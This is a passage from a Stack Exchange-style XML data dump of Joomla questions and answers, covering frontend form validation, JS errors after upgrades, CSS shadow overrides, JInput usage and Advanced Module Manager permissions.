&quot;COM_BESTIA_FIELDS_CITY_LABEL&quot;&#xA;                    description =       &quot;COM_BESTIA_FIELDS_CITY_DESC&quot; &#xA;                    required    =       &quot;true&quot; &#xA;                    filter      =       &quot;safehtml&quot; /&amp;gt;           &#xA;            &amp;lt;field  name        =       &quot;zip&quot; &#xA;                    type        =       &quot;text&quot; &#xA;                    class       =       &quot;inputbox form-control&quot;&#xA;                    size        =       &quot;40&quot; &#xA;                    label       =       &quot;COM_BESTIA_FIELDS_ZIP_LABEL&quot;&#xA;                    description =       &quot;COM_BESTIA_FIELDS_ZIP_DESC&quot; &#xA;                    required    =       &quot;true&quot;&#xA;                    filter      =       &quot;integer&quot; /&amp;gt;&#xA;            &amp;lt;field  name        =       &quot;country&quot; &#xA;                    type        =       &quot;list&quot; &#xA;                    class       =       &quot;form-control&quot;&#xA;                    label       =       &quot;COM_BESTIA_FIELDS_COUNTRY_LABEL&quot;&#xA;                    description =       &quot;COM_BESTIA_FIELDS_COUNTRY_DESC&quot; &#xA;                    required    =       &quot;true&quot; &#xA;                    filter      =       &quot;safehtml&quot;&amp;gt;&#xA;                        &amp;lt;option value   =   &quot;DE&quot;&amp;gt;COM_BESTIA_FIELDS_VALUES_COUNTRYDE&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;                    &#xA;        &amp;lt;/fieldset&amp;gt; &#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'm rendering the fields in my frontend-view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.formvalidator');&#xA;&#xA;&amp;lt;form id=&quot;save&quot; class=&quot;form-validate&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_bestia'); ?&amp;gt;&quot; method=&quot;post&quot; &amp;gt;&#xA;    ...&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('personal'); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('contact'); ?&amp;gt;&#xA;    ...&#xA;    &amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id; ?&amp;gt;&quot; /&amp;gt;    &#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;item.save&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;btn validate&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('COM_BESTIA_SUBMIT', true); ?&amp;gt;&#xA;    &amp;lt;/button&amp;gt;   &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay, that works fine - all inputs are available in the controller where I can work with them. But unfortunately I can submit the form even if I leave the required fields empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I miss? I think I followed the &lt;a href=&quot;https://docs.joomla.org/Server-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla!-Documentation&lt;/a&gt; but something must be wrong...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is very welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your recommendations I added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    (function($) {&#xA;&#xA;     $(document).on('submit', '#item-form', function(e) {&#xA;&#xA;         if (task == &quot;item.cancel&quot; || document.formvalidator.isValid(document.getElementById(&quot;item-form&quot;)))&#xA;         {&#xA;             Joomla.submitform(task, document.getElementById(&quot;item-form&quot;));&#xA;         }&#xA;&#xA;         return false&#xA;     });&#xA;&#xA;}(jQuery));&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now I'm getting the following errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cXFci.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXFci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dubhV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dubhV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2016-05-06T14:13:17.543" LastActivityDate="2017-10-31T19:30:54.507" Title="Form-Validation in Frontend" Tags="|jform|controller|validations|jmodel|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16478" PostTypeId="2" ParentId="16477" CreationDate="2016-05-06T13:45:34.883" Score="1" Body="&lt;p&gt;It appears you are submitting the from without executing the validation.  Using jQuery, you could listen for the form submit event, check validation and submit the form if it passes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of your PHP file add the following to load the jQuery library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the below JS to the page inside a script tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;&#xA;     $(document).on('submit', '#save', function(e) {&#xA;&#xA;         if (task == &quot;item.cancel&quot; || document.formvalidator.isValid(document.getElementById(&quot;item-form&quot;)))&#xA;         {&#xA;             Joomla.submitform(task, document.getElementById(&quot;item-form&quot;));&#xA;         }&#xA;&#xA;         return false&#xA;     });&#xA;&#xA;}(jQuery));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will listen for and intercept the form submit event.  It will check for one of two conditions, if the the task is a cancel or if the document.formvalidator passes.  If either condition is met it will submit the form.  If neither condition is met, your form validation errors will appear and the form submission is cancelled by returning false from event handler callback.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2016-05-07T22:00:50.153" LastActivityDate="2016-05-07T22:00:50.153" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16481" PostTypeId="1" AcceptedAnswerId="16490" CreationDate="2016-05-07T07:52:41.107" Score="0" ViewCount="761" Body="&lt;p&gt;I've upgraded an old site from 2.5 to 3.5 and have managed to fix everything except this error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: Class is not defined @ multiselect.js:12 &#xA;Uncaught TypeError: Joomla.JMultiSelect is not a function @ index.php?option=com_content:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like Joomla admin is not loading something correctly. I've uploaded joomla installation and overwritten everything with latest joomla files in case something didn't copy during auto upgrade but it didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried cleaning my cookies and cache as well but it didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the piece of code in question :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla = Joomla || {};&#xA;&#xA;Joomla.JMultiSelect = new Class({ &amp;lt;-- ERROR Class is not defined&#xA;    initialize : function(table) {&#xA;        this.table = document.id(table);&#xA;        if (this.table) {&#xA;            this.boxes = this.table.getElements('input[type=checkbox]');&#xA;            this.boxes.addEvent('click', function(e){&#xA;                this.doselect(e);&#xA;            }.bind(this));&#xA;        }&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2017-02-20T11:51:13.243" Title="Upgraded from 2.5 to 3.5 : Joomla.JMultiSelect, Class is not defined" Tags="|joomla-2.5|javascript|administrator|upgrade|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16483" PostTypeId="1" CreationDate="2016-05-07T13:17:42.197" Score="2" ViewCount="132" Body="&lt;p&gt;I am making my custom form field types and I would like to make them globally available for all forms everywhere in Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any certain location that can be used for this purpose, other than &lt;code&gt;libraries/joomla/form/fields&lt;/code&gt;, as it is generally considered a bad practice to adding custom files there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I could manually adding the path in every XML for my custom field, but again it sounds very handy to me if could simply add the fields in a «global scope» like described above.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-13T06:04:53.943" Title="Custom Form Field Type available for all extensions?" Tags="|overrides|form-fields-types|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16484" PostTypeId="1" AcceptedAnswerId="16486" CreationDate="2016-05-07T15:24:45.670" Score="-1" ViewCount="79" Body="&lt;p&gt;theres this line of code:&#xA;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/erDYq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/erDYq.png&quot; alt=&quot;code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the shadow att and the other css come from?&#xA;I only know the box-shadow attribute.&#xA;I know i simply can delete the att, but i am interested in where it comes from. This is for the other css too, i only see bootstrap.css files in firebug, but to search and edit them is not really best practise i think and so i am stuck because i want the the table to be a bit more compact/costumized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shadow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hcKIE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hcKIE.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="8308" LastActivityDate="2016-05-07T20:35:17.880" Title="Where does the shadow class come from? (purity iii, pricing table1)" Tags="|joomla-3.x|php|css|bootstrap|t3-framework|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16486" PostTypeId="2" ParentId="16484" CreationDate="2016-05-07T18:06:10.073" Score="2" Body="&lt;p&gt;I can't tell you exactly what file this comes from, since the Purity iii demo seems to compress and combine the CSS files, but the &lt;code&gt;shadow&lt;/code&gt; class has the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width: 768px) {&#xA;  .pricing-table .col.shadow {&#xA;    box-shadow: 0 0 0 5px rgba(0,0,0,0.2);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not recommended to edit the existing CSS files (Template files, Bootstrap, Joomla CSS etc.). As you might know, CSS stands for &lt;strong&gt;Cascading Style Sheet&lt;/strong&gt;, so you can simply override the styles using your own &lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template/3878#3878&quot;&gt;custom CSS file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file you can simply place any class/ID's that you want to change in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change how the &lt;code&gt;.shadow&lt;/code&gt; class looks, add something like this to your custom CSS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width: 768px) {&#xA;  .pricing-table .col.shadow {&#xA;    box-shadow: 10px 10px 5px 0px rgba(0,0,0,0.75);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cg3lJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cg3lJ.jpg&quot; alt=&quot;Purity iii pricing table shadow&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-05-07T18:06:10.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16487" PostTypeId="2" ParentId="16484" CreationDate="2016-05-07T20:35:17.880" Score="0" Body="&lt;p&gt;I am not sure if you understand the difference, but the shadow you see there, is not a &lt;strong&gt;css property&lt;/strong&gt; like &lt;code&gt;box-shadow&lt;/code&gt;, &lt;code&gt;text-align&lt;/code&gt; etc, but a &lt;strong&gt;class name&lt;/strong&gt; for the &lt;strong&gt;class attribute&lt;/strong&gt; of that &lt;strong&gt;html element&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only connection it has with the css box-shadow property, is that it uses this name, so to create an easily identified/memorized predefined &lt;strong&gt;css rule-set&lt;/strong&gt;, to be used to add shadow on multiple elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to disable, you will have to create a css override, with your own rule-set, that will take precedence over the existing one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't check johanpw's answer if it works, but I trust him it will. So follow his suggestions in order to create your &lt;strong&gt;custom.css&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-05-07T20:35:17.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16488" PostTypeId="2" ParentId="15089" CreationDate="2016-05-08T03:00:32.680" Score="0" Body="&lt;p&gt;Did you try use JCE Editor and use &quot;read more&quot; link ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its free:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-05-08T03:00:32.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16489" PostTypeId="1" CreationDate="2016-05-08T14:56:38.477" Score="2" ViewCount="88" Body="&lt;p&gt;So... I had to upgrade joomla 1.5 to 3.5 today. It was much fun :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Managed to fix everything except links to other articles that are embedded in the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is multilingual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is original link within content from Joomla 1.5 and how it get's rendered on the frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=80&#xA;&#xA;/en/?id=80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is link that Joomla 3.5 editor will generate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=80&amp;amp;amp;catid=8&amp;amp;amp;lang=en-GB&amp;amp;amp;Itemid=12&quot; hreflang=&quot;en&quot;&#xA;&#xA;/en/8-english/80-ester-house-of-stanisic-lu-fi.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla now requires me to input catid, lang and itemid. Is there a way around this, or some kind of tool that'll fix joomla &quot;in article&quot; links?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2017-07-28T03:19:53.310" Title="How to fix &quot;in article&quot; links after upgrade" Tags="|articles|joomla-1.5|joomla-3.5|weblinks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16490" PostTypeId="2" ParentId="16481" CreationDate="2016-05-08T15:00:18.773" Score="0" Body="&lt;p&gt;Browse cache didn't want to clear, I had to open &lt;code&gt;multiselect.js&lt;/code&gt; in a separate tab and CTRL+F5 until script refreshed.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2016-05-08T15:00:18.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16492" PostTypeId="1" CreationDate="2016-05-09T13:15:12.723" Score="0" ViewCount="185" Body="&lt;p&gt;I am working on &lt;code&gt;joomla 3.5.1&lt;/code&gt; and facing a strange issue that after unpublished the article, article is visible on front end for everyone. I cleared cache and other relevant things but no effect. Only &lt;strong&gt;Unpublished&lt;/strong&gt; started showing. Same issue I am facing for modules too.&lt;/p&gt;&#xA;" OwnerUserId="3832" LastActivityDate="2016-10-20T10:59:37.473" Title="unplublish article showing on frontend for every one" Tags="|joomla-3.x|php|articles|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16493" PostTypeId="2" ParentId="146" CreationDate="2016-05-09T14:12:53.333" Score="3" Body="&lt;p&gt;You can access a controller directly by using the controller name in the task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_similar&amp;amp;task=controller.abc&amp;amp;format=raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will call: controller.raw.php (return is raw)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_similar&amp;amp;task=controller.abc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will call: controller.php ( return is html if you don't use &lt;code&gt;die;&lt;/code&gt; )&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2016-05-09T14:12:53.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16494" PostTypeId="1" CreationDate="2016-05-09T19:22:27.280" Score="1" ViewCount="135" Body="&lt;p&gt;I'm doing update and maintenance on a Joomla site that hasn't seen much care for the last year or so. When I log in as an administrator I can only click around for a few minutes before all the links start going to the 404 error page (though one time I got the 500 Error after clicking Manage Users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other clues I've been tracking include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once the 404 problem starts up I can get back to the initial admin panel page (i.e. &lt;a href=&quot;http://domain/administrator/&quot; rel=&quot;nofollow&quot;&gt;http://domain/administrator/&lt;/a&gt;) and CNTRL-F5 and not get a 404, but all the other pages are using query strings and remain inaccessible&lt;/li&gt;&#xA;&lt;li&gt;Turning off SEF URLS and URL Rewriting didn't make a difference&lt;/li&gt;&#xA;&lt;li&gt;After the 404 issue starts, the Maintenance section says &quot;Unknown Joomla&quot; and &quot;Unknown Extensions&quot;&lt;/li&gt;&#xA;&lt;li&gt;the problem existed when it was Joomla 3.4.0 and persists since it was updated to 3.5.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;New clues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It looks like the site dates back to the v2.x era&lt;/li&gt;&#xA;&lt;li&gt;The preceding seems significant because the front end is using Yootheme's Mustache template and it looks like that theme was not updated to work with Joomla v3.x&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8385" LastEditorUserId="8385" LastEditDate="2016-05-10T17:34:43.713" LastActivityDate="2016-08-17T22:03:07.270" Title="Admin panel works for short period, then links all go 404" Tags="|administrator|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16495" PostTypeId="2" ParentId="16427" CreationDate="2016-05-09T19:54:30.570" Score="2" Body="&lt;p&gt;What browser are you using (and have you tried it in a different one)? Chrome is an excellent browser, but is NOTORIOUS for keeping cached data way longer than anything should. Anytime I've experienced problems like this, usually Chrome's cache is to blame. If I load the site in another browser (even good 'ol IE), it loads correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a self-modified version of Protostar as my default template on nearly every site I manage, and I haven't experienced this issue. If it's not browser cache, I'm going to go with Walt Sorensen and blame some custom CSS and overrides. Either that or a bad upgrade (again, something I've never experience &lt;em&gt;knocks on wood&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8386" LastActivityDate="2016-05-09T19:54:30.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16496" PostTypeId="1" AcceptedAnswerId="16500" CreationDate="2016-05-10T01:04:51.093" Score="1" ViewCount="1181" Body="&lt;p&gt;I have tried every input to get it working, but nothing works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the deprecated code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $post = JRequest::get('post', JREQUEST_ALLOWRAW);&#xA;&#xA;    list($title, $alias) = $this-&amp;gt;_generateNewTitle($post['catid'], $post['alias'], $post['name']);&#xA;    $_POST['name']  = $title;&#xA;    $_POST['alias'] = $alias;&#xA;    $_POST['catid'] = 0;&#xA;&#xA;    $this-&amp;gt;_save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post       = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('post', '','raw');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But sadly it doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="8388" LastEditorUserId="115" LastEditDate="2016-05-10T06:34:12.847" LastActivityDate="2016-05-11T18:50:17.327" Title="JRequest::get('post', JREQUEST_ALLOWRAW) has been deprecated, what is the working code now?" Tags="|jinput|jrequest|" AnswerCount="3" CommentCount="3" ClosedDate="2016-05-12T16:47:03.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="16498" PostTypeId="2" ParentId="16496" CreationDate="2016-05-10T08:43:57.150" Score="0" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('name', '', 'RAW');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8390" LastEditorUserId="168" LastEditDate="2016-05-10T09:06:49.630" LastActivityDate="2016-05-10T09:06:49.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16499" PostTypeId="1" CreationDate="2016-05-10T10:07:28.107" Score="1" ViewCount="73" Body="&lt;p&gt;I'm building a custom module that sits in one position (the header). I'd like this module to write content to another position on the page (the mainBody). Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To expand a little, the mainBody holds a group of tabs, and the header contains the buttons for choosing those tabs. The mainBody sits directly below the header, so to the user they appear as one coherent element, but in the html produced by my template, the header and the mainBody are separated by a floating sideBar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, I'm building two modules, one for the buttons and one for the tabs, assigned to the header and the mainBody respectively. But this feels counterintuitive, since the two modules will always appear together and must both be assigned to the same pages. It's also more cumbersome from a development point of view, since the two modules are sharing variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I continue down the route of making two modules in two different positions? Or is it possible to write page content to a distinct position directly from within a module? If so, how? Thanks for your help! (Joomla 3.5.1)&lt;/p&gt;&#xA;" OwnerUserId="8391" LastActivityDate="2017-01-21T21:40:52.367" Title="Can I add page content to a position from within a module that sits in another position?" Tags="|joomla-3.x|module-display|positions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16500" PostTypeId="2" ParentId="16496" CreationDate="2016-05-11T05:52:07.137" Score="2" Body="&lt;p&gt;You are doing a small mistake here. Have a look below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What you tried: &lt;code&gt;$post = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('post', '','raw');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here, &lt;code&gt;'post'&lt;/code&gt; must be the name parameter of the input field of which you want to fetch the value. Example below:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('name', '','raw');&lt;/code&gt;&#xA;Output: will give you the value of name input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you want to fetch the value of the entire post data in variable &lt;code&gt;$post&lt;/code&gt; so you should try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform','','raw');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jform&lt;/code&gt; - I assume you are using joomla forms so by default the input field will come like &lt;code&gt;jform[name]&lt;/code&gt;, &lt;code&gt;jform[catid]&lt;/code&gt;,etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know on this&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-05-11T05:52:07.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16501" PostTypeId="1" AcceptedAnswerId="16502" CreationDate="2016-05-11T10:04:39.103" Score="3" ViewCount="384" Body="&lt;p&gt;I am getting an issue with accessing &lt;strong&gt;Advanced Module Manager&lt;/strong&gt; for certain usergroups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my &lt;strong&gt;manager&lt;/strong&gt; user group - I have set the &lt;strong&gt;Global Access Administration Interface to inherited&lt;/strong&gt; (resulting to not allowed calculated value), so I can selectively allow certain access to components etc later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now I want to give access to the module manager (which is replaced by AMM) to certain modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the permissions of Module Manager I give to the manager group &lt;strong&gt;Access to Administration Interface&lt;/strong&gt;, but yet when reaching to the AMM interface I get the:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;code&gt;You are not authorised to view this resource error&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually even if I grant Super User permissions on manager group for the Modules component, AMM still refuses to allow access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same time, there is no issue to reach to the core Module manager with that manager user account (option=com_modules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way for AMM to allow access is to set the Global Permissions Administrations Interface Access for manager to allowed.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-05-11T11:41:31.383" Title="Advanced Module Manager Permissions Issue: &quot;Error - You are not authorized to view this resource&quot;" Tags="|acl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16502" PostTypeId="2" ParentId="16501" CreationDate="2016-05-11T10:04:39.103" Score="3" Body="&lt;p&gt;I tested to see how &lt;strong&gt;Advanced Module Manager&lt;/strong&gt; works on a clean Joomla installation and I couldn't replicate the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After messing around a bit more, I discovered that my issue was connected with the &lt;strong&gt;ACL Manager component&lt;/strong&gt;, which was also installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced Module Manager simply uses the ACL of the core Module Manager&lt;/strong&gt;.  But ACL manager will not follow this to apply the core permissions of Module Manager to AMM and will inherit permissions to AMM from the Global Permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to go and manually add those permission inside ACL manager's permissions table for the usegroups I wanted and that fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oceHF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oceHF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This initially isn't very obvious: So here are the steps that are needed to enable the permissions to AMM through ACL manager.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go in ACL Manager.&lt;/li&gt;&#xA;&lt;li&gt;From Control Panel, click the usergroup or user that needs to have this special access to AMM.&lt;/li&gt;&#xA;&lt;li&gt;In the User/Extensions Permissions list of the ACL manager, find the Regular Labs AMM component (or use the filter on top to help find it).&lt;/li&gt;&#xA;&lt;li&gt;As shown on the above screenshot - AMM won't have enabled permissions by default both in Global and AMM permissions row. You need to click on the permission icon, to switch the state of the Access permission and set it to green.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-05-11T10:04:39.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
